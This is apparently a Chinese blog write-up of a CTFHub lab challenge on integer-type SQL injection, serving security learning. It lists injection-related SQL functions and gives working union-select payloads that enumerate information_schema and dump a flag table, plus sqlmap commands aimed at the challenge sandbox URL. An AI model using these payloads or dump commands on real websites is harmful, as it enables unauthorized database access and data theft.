当前位置:网站首页>CTFHub-Web-SQL注入-整数型注入
CTFHub-Web-SQL注入-整数型注入
2022-06-29 02:12:00 【长街395】
第一次做SQL注入,确实难。我甚至有点看不懂手工注入的步骤,我其实直接用工具sqlmap,然后规规矩矩的敲几行代码。
先看手工注入吧:
union select 联合查询,联合注入常用
database() 回显当前连接的数据库
version() 查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6
group_concat() 把产生的同一分组中的值用,连接,形成一个字符串
information_schema 存了很多mysql信息的数据库
information_schema.schemata information_schema库的一个表,名为schemata
schema_name schemata表中存储mysql所有数据库名字的字段
information_schema.tables 存了mysql所有的表
table_schema tables表中存每个表对应的数据库名的字段
table_name 表的名字和table_schema一一对应
information_schema.columns columns表存了所有的列的信息4
column_name 当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)
table_name 表的名字和column_name一一对应
select updatexml(1,concat(0x7e,database(),0x7e),1); 这里注意,只在databse()处改你想要的内容即可报错回显
right(str, num) 字符串从右开始截取num个字符
left(str,num) 同理:字符串从左开始截取num个字符
substr(str,N,M) 字符串,从第N个字符开始,截取M个字符
和一些基本sql语法
和一些基本注释:
#,–空格,/* */
首先开启题目,知道这一题整型注入,
所以不存在引号
于是利用:
1
1 and 1=1
1 and 1=2
去测试是否有sql漏洞
得到:



发现1 和 1 and 1=1,回显相同
而1 and 1=2,没有回显
得出结论,执行了逻辑语句and ,所以有sql漏洞
所以,我们可可以构造sql语句:
1 order by 1
1 order by 2
1 order by 3
查看有几个字段,得到:



于是就利用 union select 联合注入
这里应为 union 不允许出现重复
所以id要用一个空,我就用:520
构造语句:
520 union select 1,2

看见我们输入的函数被执行了,
于是在构造语句看数据库:
520 union select 1,group_concat(schema_name) from information_schema.schemata limit 1
看到所有数据库名:

在构造语句查看当前数据库名:
520 union select 1,database()

得到当前数据库:sqli
在构造语句查看数据库sqli中的表名:
520 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’ limit 1
得到表名,其中flag表为我们想得到的值
于是构造语句查看flag中的字段名:
520 union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’ limit 1
得到字段flag,于是构造语句查询字段:
520 union select 1, group_concat(flag) from sqli.flag limit 1
得到flag:

然后就是sqlmap的使用了:
第一步:查看数据库
python sqlmap -u "http://challenge-97a3e176a7437521.sandbox.ctfhub.com:10800/?id=1" --batch --dbs
第二步:查看数据库中的表
python sqlmap -u "http://challenge-97a3e176a7437521.sandbox.ctfhub.com:10800/?id=1" --batch --tables -D sqli

第三步:查看表中内容
python sqlmap -u "http://challenge-97a3e176a7437521.sandbox.ctfhub.com:10800/?id=1" --batch --dump -T flag -D sqli

flag到手
参考链接:
ctfhub 整数型注入
http://t.csdn.cn/NuIGR
【CTFHub】sql注入-整数型注入 https://www.jianshu.com/p/05b33402afe9
ps:工具确实方便,但还是要继续学习一些数据库的基础操作,还有SQL注入的基本知识
边栏推荐
- TiFlash 面向编译器的自动向量化加速
- Convert flat structure to tree structure
- 【Redis】数据介绍 & 通用命令 & String类型
- Com3529 test analysis
- How to become a senior digital IC Design Engineer (6-7) digital IC Verification: debug skills
- The left toolbar of hbuilder is missing
- OculusRiftS与Unity.UI的交互(1)-总览
- [apprendre la programmation FPGA - 49 à partir de zéro]: vision - Comment la puce a - t - elle été conçue?
- 大智慧手机股票开户哪个券商更安全更方便?
- Wechat campaign auto like
猜你喜欢
![[redis] data introduction & General Command & string type](/img/86/3abc5047f9c0a051f432e82ccc816c.png)
[redis] data introduction & General Command & string type
![[redis] key hierarchy](/img/ab/a5d3bb61b4571966d0f47037af4f41.png)
[redis] key hierarchy

Callback function of unity after importing resources

Large scale visual relationship understanding

Differences between web testing and app testing

直播预告|SQL也能玩转工业级机器学习?MLOps meetup V3带你一探究竟!

SystemVerilog-结构体(一)

【Redis】Set类型

Uniapp notes

【Redis】初识 Redis
随机推荐
SystemVerilog-结构体(一)
How to use project Gantt chart to make project report
The left toolbar of hbuilder is missing
11-Go基础:接口
RISC CPU design based on FPGA (4) 36 questions about the project and their answers
Koa 快速入門
我把整个研发中台拆分过程的一些心得总结
B1009 irony
Exclusive analysis | real situation of software test about resume and interview
如何成为一名高级数字 IC 设计工程师(1-1)Verilog 编码语法篇:引言
Smart world 2030
利用kubernetes资源锁完成自己的HA应用
瀑布型项目管理最常用的10个小工具,可以自由搭建使用
I have summarized some experiences from the whole process of R & D platform splitting
MySQL详解 --- 聚合与分组
How to become a senior digital IC Design Engineer (5-1) theory: clock technology, reset Technology
How to prevent virus
【Redis】Hash类型
Callback function of unity after importing resources
110. 简易聊天室13:聊天室服务端